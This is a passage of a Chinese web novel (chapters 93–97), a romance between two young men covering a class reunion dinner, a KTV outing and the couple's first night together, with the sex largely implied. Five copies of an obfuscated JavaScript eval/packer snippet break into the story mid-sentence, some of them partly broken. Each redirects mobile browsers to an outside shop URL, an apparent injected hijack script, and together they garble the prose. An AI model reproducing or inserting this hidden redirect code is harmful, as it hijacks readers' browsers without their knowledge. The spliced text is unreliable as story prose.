徐佑华老实道,“我目击过案发现场。” “嗯?”大家来了精神,纷纷八卦,梁米凑过去问,“什么现场?我都没见过。” “那天,林清宇跟刘老师请假,说和安闻晚点去学校。刘老师让我去跟门卫打声招呼。”徐佑华说。 两人前几天才打开心结谈恋爱,按理来说不应该被看到什么出格的事。安闻想破脑袋,也不知道徐佑华说的是哪天。 叶笑笑心急,一直追问,“哪天啊?然后呢?他俩干什么了?” 徐佑华继续说,“我从门卫室出来,就看见在一楼大厅,他们两个人抱着......” 梁米斜着眼睛看了安闻一眼,一副“我不知道你俩竟然玩这么花”的模样。 安闻语气一下子凶起来,大喊,“血口喷人!班长,我一直以为你是个老实人。我俩上学时候规规矩矩的,还没确认关系,怎么可能抱着,还在一楼大厅,你当老师们眼睛瞎的?” “当事人闭嘴。”叶笑笑制止了安闻的狡辩,“剥夺你发言的权利,你和林清宇现在当哑巴,别说话。” 提到林清宇,安闻才想起来,林清宇半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13368261|135917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天没有说话了。他转头看林清宇的表情,双唇民成一条直线,眼角微扬,好像想起来什么东西。 感受到他的视线,林清宇转头,手上的力道重了些,无声地说了一个词,看口型是说,“壁球”。 安闻脑子嗡的一下,记忆闪回,手已经先于大脑做出了反应,他半个身子扑在桌子上,试图捂住徐佑华的嘴。 但是桌子太大,没有够到,反而吸引了大家的注意力。 安闻只好尴尬地说,“班长,有话好商量,给我留点面子呗。” 卢远大声说,“留什么面子,给我说,我非要听听我不知道的时候,他俩都干了什么事。” 安闻讪讪坐回椅子,听着徐佑华绘声绘色、添油加醋地描述那天的情形。 大家听得兴致盎然,是不是发出一声惊呼,那些呼声像是抽打在安闻脸上的巴掌。 “公主抱~”啪! “还亲头发?!”啪! “不能走路~”啪! 这些巴掌把安闻的脸抽得又涨又红,他数次想站起来说话,都被卢远的眼刀飞回去,理亏人怂,随便吧,安闻破罐破摔。 徐佑华的故事讲完,安闻刚松一口气,就听卢远接着问,“王光武,你是怎么知道的?” “我啊。”王光武高深莫测地慢悠悠说道,"他俩同桌那会儿,安闻总是课间趴在桌子上睡觉,我每次路过你们班后门,都能看见林清宇直勾勾地盯着他看。谁家正经人没事盯着看别人睡觉啊。" 王光武又说,“还有,我每次去找林清宇问题,都发现他在整理笔记,但是他那些笔记我从来没见他看过,后来我看见他全让梁米带回去给安闻了。” 梁米说,“是啊,可怜我当了两年鸿雁,他们终成眷属,也算是我功德圆满。” “别得了便宜还卖乖。那些笔记好像你没看过似的。”安闻撇撇嘴,拍了梁米一巴掌。 卢远和王光武齐呼“卧槽。”徐佑华更是遗憾道,“可惜我没跟安闻一个寝室,不然高考至少还能提高10分。” 叶笑笑:“我自己复习都头昏脑涨的,林清宇竟然还有精力给安闻整理笔记,这是真爱啊。” 卢远端起的酒杯一直没放下,回过味来再次一饮而尽,看向叶笑笑,“梁米我就不问了,他夹在中间自然能看出来,你呢?” “我?”叶笑笑大大咧咧地抠自己伤疤,说道,“我表白被拒了啊,林清宇直接告诉我的。” “表白被拒了啊.....”卢远若有所思地重复一遍,还偏头偷看罗晴一眼。 罗晴性格向来直来直往,但估计到包厢里其他人不知道他们的表白修罗场,只能耐心跟卢远解释,“我在太连山撞到他俩牵手,而且高三时候,林清宇的每一本草稿纸背面都写着安闻的名字。” 叶笑笑不知道罗晴喜欢过安闻,刚才的话不经意勾起一些过往,安闻本来想私下里解释一下,但看见卢远在桌下拉着罗晴的手,轻声细语,又觉得没必要了。两人走到今天,自有他们的相处之道。 他悄悄给林清宇夹了一只海参,哄着男朋友问道,“为什么在草稿本上写我的名字啊?” 林清宇太了解安闻,他这样问不是不知道原因,只是想听漂亮的情话。 于是,他毫不吝啬地给出了安闻想听的回答,“因为我想你。因为我喜欢你。” 94.青雨 大家在饭桌上吃了一肚子狗粮,还觉得不尽兴,卢远提议大家再去找个KTV 嚎一会儿。 一行人开了三小时的中包,安闻一进去就替大家点了平时常唱的歌,卢远叫嚣着让安闻帮忙点一首《甜甜的》。 “我轻轻地尝一口,这香浓的诱惑,我喜欢的样子你都有......” 别看平时卢远没个正形,正经唱起歌来还挺好听的。而且大概因为罗晴在的缘故,歌声有一些腻歪,让安闻一直想偷看林清宇的脸。 安闻悄悄地凑到男朋友身边,贴在他耳朵边问,“你想唱什么?我帮你点。” 他从没听过林清宇唱歌,即使上次过生日,林清宇跟着一起到了KTV,也只是远远地坐着,并没有拿过麦克风。 林清宇摇头,“你们唱就好了,我唱歌不好听。” “我轻轻地尝一口,你说的爱我,还在回味你给过的温柔......” 叶笑笑识趣地把麦克风递给了罗晴,罗晴大方地站起来跟卢远对唱,甜软的嗓音,甜蜜的对视,甜腻的牵手,包厢里洋溢着爱情的甜美,丝丝沁入心脾。 安闻身在其中,被气氛感染,有些不甘心地争取,“我没听过你唱歌,你给我唱一首好不好。” 林清宇不为所动,继续推拒,“人多,我不好意思。” 安闻来劲了,伸手搂着他的腰继续讨好,“那我陪你唱,你挑一首,我想听你唱。” 林清宇道,“说点好听的,我考虑一下。” “林清宇~”安闻被林清宇的神秘搞得更加好奇,非要在今天听到林清宇一展歌喉不可,“就唱一首嘛~” “噫~”梁米嫌弃地往旁边躲身子,“我没发现你是这样的安闻。” “我怎么了?”安闻一脸茫然看着梁米,又转头看看林清宇。 那人眉眼含笑,嘴角却崩得笔直,看起来憋笑很辛苦。安闻恍然,这家伙就是在等自己求他呢。 他佯装生气,抱起肩膀不再看林清宇。 林清宇果然上钩,凑过来说,“不是故意逗你的,就是你撒娇太好听,想多听两句。” 这回轮到安闻趾高气扬了,“我生气了,你看着办吧。” “那我给你唱歌听好不好?”林清宇哄。 “突然不想听了。”安闻面无表情。 “别生气,我错了。”林清宇继续哄。 “说点好听的,我考虑一下。”安闻继续面无表情。 “求求你了,我想唱歌给你听,求你听一听吧。”林清宇亲身示范撒娇,察觉到梁米嫌弃的眼神,他变本加厉地补了一句,“好哥哥,求求你别生气了。” 这句“好哥哥”声音不大,但安闻确定梁米听见了。他看似难为情地偏过脸,实则心里有些暗爽。 “你们两个,到底谁上谁下啊?”安闻情绪还没上头,就迎来了梁米的灵魂发问,“鸡皮疙瘩掉了一地,林清宇这撒娇功力,跟你比真是有过之无不及。” 提问的人可能只是好奇,安闻却头发都立起来了,这可是事关面子和尊严的问题,况且他和林清宇虽然互助过,但没做到最后一步,也没讨论过这个问题。 大言不惭地当着林清宇的面说自己在上面,他说不出口。但是说自己在下面,好像会很没面子。安闻思来想去,决定实话实话,刚确认恋爱,没做过也不丢人吧。 这时林清宇解救了他,他支使着安闻说,“帮我点一首《青花瓷》,我唱给你听。” 梁米如获大释,走到点歌台,余光还不停关注着林清宇那面,林清宇不知道跟梁米说了一句什么,梁米做了一个给嘴拉拉链的姿势,就转头跟王光武喝酒。 这两年,分身乏术,除了林清宇,安闻一直没注意过周围人的变化。 不知道从什么时候开始,梁米学会了抽烟和喝酒,手指轻捻,吞吐烟雾,举杯啜饮,游刃有余。 岁月还挺残忍的。 安闻望着梁米出神,没看到林清宇已走到身边,头发上的手轻揉,“不要看别人,看我。” 两人一坐一站,安闻抬头看他,粉面含春,“想要我陪你唱吗?” 不想林清宇摇头拒绝,旁若无人地说,“这首歌,我只想唱给你听。” “啧啧啧,那我们都出去呗?”叶笑笑正好听见林清宇这一句,她怪里怪气地戏谑。 林清宇接过卢远手中的麦克风,不顾周围人的阴阳,眼里只看得到安闻,“接下来这首歌唱给我的男朋友听。” 嘘声四起,大家起哄地把安闻推到了林清宇旁边。 清新悠扬的前奏响起,古筝和笛子和鸣,将人拖进烟雨朦胧的水墨山水之中。 借着屏幕的光,安闻看到林清宇的脸上竟有一丝羞赧。他想,林清宇一直都是静谧的,把他推到人前唱歌,确实有些强人所难。 安闻急切地伸手向罗晴讨要另一只话筒,想要解救自己的男朋友,没想到林清宇会错意,直接牵起了他的手。 “素胚勾勒出青花笔锋浓转淡......” 林清宇一开口,包厢里就沸腾了。还是个隐藏歌手,声音清婉细腻,也太好听了吧。 而且,明明林清宇被爱情滋润牵着情人,张口声音清冷透亮,情绪却哀伤婉转。众人都在惊叹学霸的模仿能力在唱歌上也不遑多让。 只有安闻知道其中的百转千回,只有安闻能听出林清宇的无奈与惋叹。 “冉冉檀香透过窗心事我了然......天青色等烟雨,而我在等你......” 林清宇的微信头像,一张烟雨濛濛的窗景。林清宇的微信名字,青雨。 一切都说得通了,明知不可等,明知没结果,思念翻滚如潮涌,面色依然风轻云淡。 与其说是等,不如说是守望,始终如一的守望。 一曲歌毕,众人沉浸在余韵之中。林清宇从情绪中剥离,笑问安闻,“我唱得好听吗?” 安闻双手用力把人扯过来,不顾众人围观,在他唇边虔诚一吻,“我很喜欢,可惜没有录下来。” 叶笑笑和王光武捶胸顿足,大声斥责他们虐狗,安闻后知后觉地不好意思,“抱歉,我男朋友太优秀了,没忍住。” “他男朋友负责买狗粮。”林清宇似是心痒难挠没有出口,于是回头一挥手,“今天的消费由他男朋友买单,狗粮管饱。” 说完吻上了安闻的唇,林清宇的吻不是轻触,而是缠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13370018|135917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绵,安闻头昏脑涨地推拒,林清宇却对周围的喧闹充耳不闻。 安闻羞到没边,拉起林清宇拔腿就跑。到了一楼大堂,才发现青天白日的,两人红着脸喘着粗气,不知道何去何从。 “林清宇,你带身份证了吗?”安闻问。 林清宇一愣,刚才在包厢里氛围昏暗,他被安闻撩得心旌摇曳,情不自禁。现在阳光之下,理智回笼,但男朋友认真的样子实在忍不住挑逗一番。 “大白天的,要身份证开房啊?”他明知故问,想看安闻面红耳赤支吾害羞的样子。 没想到安闻一反常态,非常直白,“是,我忍不了了,你到底带没带?”不等林清宇回答,安闻直接伸手翻他的口袋。 这回轮到林清宇害臊了,他抓住安闻的手说,“别找了,没带。” 安闻不顾周围人的目光,抓起他的手上了一辆出租车,“那就去你家。” 林清宇稀里糊涂地被塞进后座,扶额苦笑,“这么急吗?” 前排司机看着内后视镜,问他们目的地。 安闻手还抓着林清宇的手,他没有挪开手,也没有挪开视线,看着林清宇跟司机报了地址。 司机挂挡、起步,迟疑地偏头看后座紧贴着的两个大男人,车辆缓缓汇入车流,安闻目不转睛地盯着林清宇,半晌才转过头,跟司机请求,“麻烦您开快点,有急事。” 不知道安闻急什么,但看他蹙着眉头,右脚尖一直在轿厢脚垫上画半圆,确实是挺急的。 林清宇突然身体一歪,倒在他肩膀上,含糊地说,“喝多了,借我靠靠。” 醉酒是借口,安闻知道林清宇并没有喝多,只是给两个人的亲密找了个合理的解释,毕竟司机时不时地在偷瞄后座。 林清宇的手藏在T恤下,肆无忌惮轻抚他的手背,一下一下,似是安抚。 但这并没有让安闻冷静下来,反而他更急躁,时不时地向车外看,确认距离。 终于看到林清宇大门时,安闻眼睛都亮了一下,他提前拿出手机扫描付款码,几乎在车停稳的一瞬,把林清宇拉下车。 快速低头输入付款数字,回头跟司机亮出付款界面的时候,已经进了大门。 路过林清宇父母的主屋,安闻没有进去,也不顾家里是否有别人,径自拖着林清宇进了屋。 门被甩上,自己被安闻按在门板上亲吻的时候,林清宇很懵,一路都很懵,怎么唱了一首《青花瓷》,不知道按了哪个按钮,打开了男朋友的开关,仿佛昨晚在床上羞羞答答说不要不行不来了,睡觉是个名词的人被魂穿,变了一个人似的,如此奔放与热情。 刚才的急切是真的,安闻恨不得在KTV包厢里就把林清宇睡了。但现在,真的回到家,真的吻着林清宇,真的任自己摆布的时候,他那些急切又散了。 安闻很轻地在他唇上触碰,舌尖一点点划过他的唇,他的牙齿,他的舌头,细腻又温柔。他想好好品尝男朋友的味道,而林清宇也温柔的回应着。 一直到林清宇捏着他的后颈,将人从唇上分开,问了一句,“你怎么了?” 安闻才想起自己闹这么一出的目的,“我想要你,想让你完完全全占有我。” 95.安全感 他凑近继续吻林清宇,这次的吻很凶,手还在林清宇身上毫无章法的游走,边吻边掌控着他往卧室走,“你恢复好了吗?我们可以做吗?” 林清宇被吻得昏了头,半推半就得被弄上了床,安闻说了什么他没听清,只感觉腰带被解开。 “别。”林清宇一把抓住安闻的手腕,他呼吸乱着,大口地喘着粗气,领口被扯变形,露出大片锁骨和肩膀,裤子更是乱七八糟。 在这种时候还能叫停,林清宇真的很理智。 “怎么了?”安闻不满他叫停,挣脱他的手,顺着腰往下摸了进去。 “安闻。别。你这样我害怕。”林清宇喘匀了气,恢复清醒,用略哑的嗓音问,“你到底怎么了?不说明白我不踏实。” 安闻听完,懂了。 林清宇没有安全感。确切的说,自己这几年的所作所为,让林清宇没有安全感。 他泄了气地趴在林清宇身上,手指在他身上规律地画着圆圈,“我觉得自己很没用。” 林清宇身体的紧绷,连呼吸都轻了,安闻亲吻他的颈侧,极尽耐心地安抚,“林清宇,我是你的。” “我和你在一起,不是因为心软,不是因为可怜你,也不是受你胁迫害怕你伤害自己,而是因为我喜欢你。” “我喜欢你,相信你,所以愿意跟你一起赌一把。” “你给我留了很多退路,但是我从没想过要退。从我决定和你在一起的那刻起,我就和你绑在了一起。除非你不要我了,否则我不会退。” 腰上的手在收紧,耳畔的呼吸声逐渐粗重,安闻感受他情绪的变化,继续笨拙地表白。 “我不知道做什么才能给你安全感。思来想去,好像只能做这个。”他的手掌向下探去,意图十分明显,“我很没用,我怕疼,怕探索未知。但比起这些,我更怕你伤心,怕你失望,你为我做的太多了,我好像只有这副身体可以取悦你。” “林清宇,抱歉,我来晚了。让你等了好久。” 他双手扶住林清宇的胸膛,撑起了上身,看着林清宇的眼睛发出邀请,“我们做吧。我想完完全全属于你。这样你会不会觉得踏实?” 林清宇怔怔地看着他,喉结滚动,眼底泛红,半晌偏过头,轻声说了一个,“傻瓜。” 盛夏的午后明媚灿烂,窗外的大杨树随风晃荡,树影落在床上摇曳多姿。 察觉到日光当头,安闻羞赧地下床,“唰啦”一下拉住窗帘。 室内倏忽漆黑,两人恍惚了三秒,才能看到彼此的人影。 “我说过,以后我试着主动。”安闻慢吞吞地爬上|床,伸手去脱林清宇的裤子。 床上躺着的人终于回神,脑子恢复运转,他一把将安闻捞起来,利落翻身将人压在身下,轻点他的唇,哄道,“今天不行,我们聊聊天。” “不影响聊天的,可以边做边聊。”安闻的手一直不老实,在林清宇身上到处点火,“我想和你有一些实质性的关系,你踏实,我也踏实。” 林清宇垂下头,用力地抱紧安闻,平和温柔,含情脉脉,“不用靠这个证明。做不做都不会影响我喜欢你。” 安闻双手环上他的脖颈,轻轻吻了吻他的耳垂,牙齿轻咬,撩拨道,“我想要你,我心甘情愿。” 耳畔呼吸急促,林清宇挣扎着起身,“今天不行,别钩火。” 安闻不依不饶,将他拖回来,扯着他的拉链继续勾引,“裤子都脱了,你不想要吗?” 林清宇觉得自己快炸了,上辈子做多少好事这辈子才得了这么个宝贝。 他俯身吻上安闻的唇,在他唇上不轻不重地咬了一口,“我这辈子都逃不出你手心,耐心等一等好吗?我们没有工具,我怕弄疼你。” 安闻懵懵懂懂地点头,问,“需要什么工具,我去买。”说完他抬起大腿蹭了蹭,衡量一下,担忧地补充了一句,“你等得了吗?” “要命了。”林清宇认命地耷拉下脑袋,嗓子紧得涩滞,“祖宗,别撩了。我不是神龟,真快忍不住了。” 安闻自觉无辜,又忍不住笑,低低的笑声在昏暗的屋子里更显蛊惑,“忍不住就直接来吧。” 屋子里亮起一小束光,不知道林清宇什么时候摸到了手机,边吻他边敲打屏幕。 “专心些,林清宇。”安闻不满他的敷衍,伸手蒙住了他的眼睛,“我们在做人生大事呢。不要玩手机。” 林清宇就着安闻指头的缝隙,点击确定,指纹识别付款,“人生大事一会儿再做,我先去洗澡。” 他抽身太快,已经下了床,同为男人的安闻产生了极大的疑惑,他满含希望地问,“不一起吗?” “不了。我去客卧洗。”似是察觉到他的失落,林清宇反身吻了安闻,“一起洗时间会长,总要留一个人等东西。” 安闻讷讷地点头、下床,走进浴室。与昏暗的卧室不同,浴室明窗的光线提醒了他,现在才是下午,光天化日,朗朗乾坤。 后知后觉的羞涩袭来,安闻站在洗手池前,看着镜中的自己,脸上还泛着潮红,嘴唇轻微肿胀,一副欲求不满的模样。 回想刚才卧室里的自己,安闻双手往脑门上一拍,自言自语道,“没喝酒也能醉吗?太羞耻了。” 花洒打开,喷出来的冷水让他理智回笼,安闻细细回想刚才自己说的话,没毛病,虽然直白有些丢人,但是都是真话,为了男朋友丢人就丢了,面子不算个啥。 可是刚才那段赤|裸裸的勾引是怎么回事啊!安闻双手插|进头发,抓抓头皮,十分懊恼,太轻浮了,林清宇会不会感觉不被珍视?会不会误会自己浪/荡? 安闻脑袋里拐了山路十八弯,一路给自己踩刹车,奈何这车好像刹车失灵还带自动加油功能。 满脑子的黄色废料在脑子里闪过,自己当初看过两个男人的视频,但是就那么一下就慌不择路的关掉了。 之后出了齐笛那件事,安闻觉得恶心,U盘早不知道扔哪里去了,现在他突然有些后悔,早知道有这么一天,他应该留着学习用的。 男人和男人怎么做?凭借那几秒的视频记忆,好像是有一个人要被逆行的。 那林清宇说的工具是润滑剂吗?两个男人做那档子事也需要戴套吗?那自己一会儿是该按秩序通行,还是被逆行呢? 思绪天马行空,专注到没有听见林清宇进卧室的关门声。 “安闻。”林清宇在浴室门外叫他。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13399820|135917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 安闻有些心虚,把花洒关掉,慌里慌张地应了一声,掩饰道,“我洗得细,一会儿就出去。” “不是催你。”林清宇在门外轻笑,“你慢慢洗,不着急。我给你送睡衣,你没拿衣服。” 安闻如梦初醒,刚才迷迷蒙蒙地进来,睡衣都没有拿。 他环视一周,发现没有能遮身体的东西。转念一想,他和林清宇在恋爱,如果洗澡时候还遮着防着,反而有些欲盖弥彰。 “进来吧,门没锁。”他强装镇定,假装弯腰洗头发地侧过身,将隐私部位隐藏在林清宇的视线盲区。 没想到林清宇目不斜视地进来,将睡衣放下就出去了。 安闻长舒一口气,又有些失落。人真是矛盾动物。怕他看,又怕他不看。 刚才林清宇穿着墨绿色真丝睡袍,面颊被热气熏得微微发红。 安闻又不自觉地联想,为数不多的视频记忆在脑袋中播放,一个站立,一个躺卧。 要死了要死了。 安闻根本控制不住自己的脑子,虽然他潜意识里觉得自己应该是被逆行的那个。但安闻怕疼,刚才嘴上逞强,现在冷静下来真怕啊。 而且更怕的是未知,他没有被逆行过,这种不能掌控的感觉使他更加恐惧。 所以,安闻大胆设想,如果真的喜欢,位置应该不重要吧?所以林清宇可不可以被逆行一下? 可是,根本没法设想,在安闻的意识里,林清宇一直是强势方,是主动方,脑海中根本形成不了他被动的画面。 再说明知林清宇一定会为了自己妥协,安闻就漫上来一阵心疼。 算了,位置不重要,喜欢林清宇就知道早晚会有这么一天。 千思万想,一想到马上就会和林清宇发生实质性进展,他又隐隐有些兴奋。 做了这么长时间心理建设,水温有些低,安闻才发觉自己在浴室待了太久。 他迅速擦干身体,站在镜子前给自己打气,“加油,林清宇马上就是你的了。” 林清宇送进来的也是一件墨绿色真丝睡袍,跟他身上那件一模一样。 这是情侣款啊!这是主权的宣誓,这跟情/趣/内/衣有什么区别! 安闻斗志昂扬地冲出浴室,带出了一身潮气。 光线骤暗,林清宇盘腿坐在床上看手机,睡袍整整齐齐地穿在身上,床头灯开着,灯光晕黄,充满着情调。 床头柜上摆着五个方方正正的小盒子,两个小瓶水大小的管状膏体,在朦胧的光线下,颇显色/情。 卧室空调温度很低,热冷交替,安闻的冲天干劲清醒了一大半,他在原地进也不是退也不是。 林清宇一抬头就看到安闻尴尬地站在浴室门口,门后是浴室暖黄的光。 他盯着安闻,见对方的眼睛也正看向自己,那双眸子用古井无波形容再合适不过。 “安闻,过来。”林清宇轻唤。 安闻的喉结滚动,他转身关掉浴室的门,将那些挠人的光关了禁闭,然后朝林清宇一步一步走过去,像一个礼物走向自己的主人。 林清宇双手撑在身后,慵懒地眯着眼睛,笑他,“刚才还无所畏惧地勾引我,怎么现在怂了?” 96.圆房 安闻单膝跪在床上,转头看一眼床头柜上的“工具”,难得的没有争辩,坦诚道,“我其实有点害怕,但我觉得你不会让我疼。” 怕是怕的,但他不再退缩了。 林清宇的心化出了水,顺着心尖滴答滴答。 他浅笑了一声,牵起安闻的手按在自己心口,吻上了爱人的唇。 “唔。”安闻被吻地意乱情迷,还不忘操心自己的境地,“你知道怎么做吗?” 林清宇压低嗓子,亲吻不停,“我刚学习了一下。” 安闻全乱了,下意识地抬手推拒,手搭上林清宇的肩膀时,却转了个圈,环住他的脖子,“我相信学霸的学习能力。” “不过我只能保证温柔一点,不能保证不疼。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13399821|135917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唇齿缠绵,林清宇从不说大话,他迟疑两秒,咬住男朋友的嘴唇,坦白道,“第一次大概率会疼,我再给你一次反悔的机会。” 安闻向前膝行两步,一只膝盖顶进林清宇两腿中间,用行动表达决心,“别废话。” ...... 现在开始,我是你的,你是我的,我们完完整整地属于彼此。 97.我爱你 安闻醒过来的时候,屋子里漆黑一片,林清宇均匀的呼吸在耳畔拂过。 感觉和意识也随着安闻慢慢苏醒。 全身酸痛,跟上次打两小时壁球比,有过之而无不及。 但是实际上,昨天两人晚饭都没吃,零零碎碎在床上打了七个小时壁球。 在安闻失去意识前,好像是凌晨两点。 大尾巴狼林清宇,平时他妈的装柔弱,发起疯来比野狗还可怕。 安闻伸手在枕头下面摸索手机。 “你醒了?”身后的人也醒了,声音带着慵懒和餍足。 安闻没有吱声,摸到了手机,亮起屏幕,九点半了。 “你先喝点水?”身后的人一只胳膊撑起来,另一只胳膊开了床头灯。 “你家窗帘......”本来想说林清宇家的窗帘真遮光,一张嘴安闻这才发觉,自己嗓子哑得像塞了树皮。 他挪动一下身体,疼得抽了一口气。 接过林清宇递来的保温杯,灌了几口水,平时的温糖水喝起来舒服,今天安闻嗓子像烧了似的,只想喝冰水。 他嫌弃地瞪了林清宇一眼。 林清宇自知理亏,老老实实地起床,站在床边,“你还想再睡会儿吗?” “不睡了,把窗帘拉开吧。”安闻说。 拉开窗帘,天光大亮,安闻才看清楚,林清宇穿了一套家居服,再低头一看,床单换过,自己身上也是一套干净的衣裤,床头柜上一堆瓶瓶罐罐,看着有些眼熟。 “我给你上过药了,还难受吗?”林清宇满脸歉疚。 “废话!”安闻气呼呼的,“我后面都疼哭了,你还来!” “你前面不疼的时候也哭了......” “......我嗓子疼,不想跟你说话。” “哦。”林清宇在床头柜上翻找,递上来一板喉糖,“嗓子疼吃这个,效果好。” 安闻偏过头,“都怪你。” “是你非要试,我拗不过你......”安闻一记眼刀过来,林清宇立马认怂改了口,“怪我怪我,怪我色欲熏心,怪我禁不住诱惑,都怪我。” “宝宝,别生气,我认罚。你想怎么罚都行。”林清宇声音温柔,像哄小孩儿似的,“等你好了,你想要什么都行。” 尽管安闻现在像被一个大鼎压住,全身难受,心里有些不开心,但是面上表露出来的却不是不开心,而是满足,还有一点点儿羞恼。 林清宇则是吃饱喝足红光满面,但蔫头耷拉脑的担心模样。 安闻翻身趴在床上玩手机,他就坐在床边给他揉腰,温热的手掌在后腰两侧缓缓揉着,疲乏和酸痛都被揉走了。 安闻歪着脑袋昏昏欲睡,突然感觉下身一凉。 “你他妈的老实点。”他应激得醒了,张口就骂。 林清宇手上擎着一根棉签,面色尴尬得解释,“我给你上药。” 这个小心翼翼的样子让安闻心疼,他反思自己是不是太凶了,不就是睡过了有些害羞嘛,那也不用凶巴巴地掩饰情绪。羞就羞呗,又不疼不痒不掉肉,这么欺负林清宇干嘛呢。 他不自在地转过头,绷紧全身肌肉,开诚布公,“我有点害羞,不知道怎么转换情绪,不是生气,也不是凶你。” 林清宇眉间蹙起的笑声终于褪去,他用棉签蘸了药膏,轻轻揉着,笑着说,“不用解释,我都知道的。我只是忍不住担心,害怕你后悔了。” “不会,林清宇,我永远不会后悔跟你在一起。”安闻趴在床上敷药,不能动,就伸出手拍拍林清宇的腿,安慰道,“新团队需要磨合,我们多熟悉几次就好了。”他把头埋在枕头里,掩饰住自己涨红的脸,“我还挺喜欢你凶一点的。” 涂药的棉签一顿,湿热的呼吸凑过来,咬住了安闻的唇,“那你乖乖地让我上药,快点好。” 亲吻缠绵,啧啧润盈。安闻喘着粗气推开他,“快点上药,我还得回家。” “不用,早上我给兰姨打电话了,你就在我家养着。”林清宇说。 “什么?”安闻也顾不上疼了,撑着胳膊坐起来,扯到伤处,眉头拧成麻花,“你不要脸,我还要脸呐!” 林清宇赶紧去扶安闻的臀,生怕他坐实了疼,扶住了又不禁失笑,“反应那么大干嘛?我只是说你昨天聚会喝多了,在我家睡一晚上。” 真不是安闻反应过度,是林清宇太秀,前科累累,语出惊人,真保不准说出什么没羞没臊的话。 这边安闻刚松一口气,那边客厅又传来白月洁的喊声,“小宇,汤炖好了,小闻不方便过去吃,我给你们端过来了。趁热喝,妈妈放了好多补的。” 林清宇隔着门匆匆应了一声,客厅就没了声音,应该是白月洁回去了。 转过头就撞上了安闻怒气冲冲的目光,“解释。” 只两个字,林清宇就感觉到了杀气,他警惕地后退半步,“宝宝,你先别生气。” 安闻没有说话,沉寂的气氛仿佛恐怖片的前奏。明明是盛夏,林清宇却在冒冷汗。 他心里权衡着,安闻脸皮薄,还爱面子,说实话是死。不说实话骗人也是死。 于是脖子一梗,心一横,死就死吧,但是不能骗安闻。 他后退到墙边,抱着脑袋交代,“今早梁米来送药,被我妈看见了。我妈问你怎么了,我说你昨晚太累了,让她给你炖点补汤。” 安闻虚坐在床上听着,五句话愣是解析了五分钟,一口气差点没倒上来。 怪不得那些瓶瓶罐罐看着眼熟,原来是梁米高二时候给自己的那些。 安闻下意识伸手捂住了自己的屁股,“他那些破药早就过期了吧!” 他羞愤地想一头撞死,白月洁知道,就等于兰胜男知道。 怪不得林清宇跟兰胜男说自己喝多了,兰胜男都没有生气。因为兰胜男早就知道那是林清宇编的瞎话,为了保护自己的面子。 不然,严格对自己禁烟禁酒的兰胜男,怎么可能不连环夺命电话打来唠叨,还能心平气和地跟林清宇说,让安闻好好休息。 没脸见人了,以后在这个家里,他算是抬不起头了。 可是,家里人知道就算了,连梁米都知道。 林清宇拉开他的手,帮他轻轻揉着,老实回答,“昨天在KTV里我让他帮我买的,新的。今天凌晨给他发短信,让他天亮送过来。” 这个回答并没有让安闻好受,他只是确认自己不会生理死亡,但是心理死亡更痛苦啊。 这就等于本来林清宇让安闻先准备着,但是凌晨就迫不及待地叫他送过来,那长脑子的人都会知道,这个夜晚发生了什么吧! 社死、心死,死无可死。 “林清宇。”他叫了一声林清宇,语气异常平静。 林清宇抬头应了一声,惊奇于安闻没有炸毛,只见安闻屁股像床里面挪了挪,双脚上床转了个方向,直挺挺地躺在了枕头上,双手交叉搭在肚脐上,看上去十分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13404398|135917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安详。 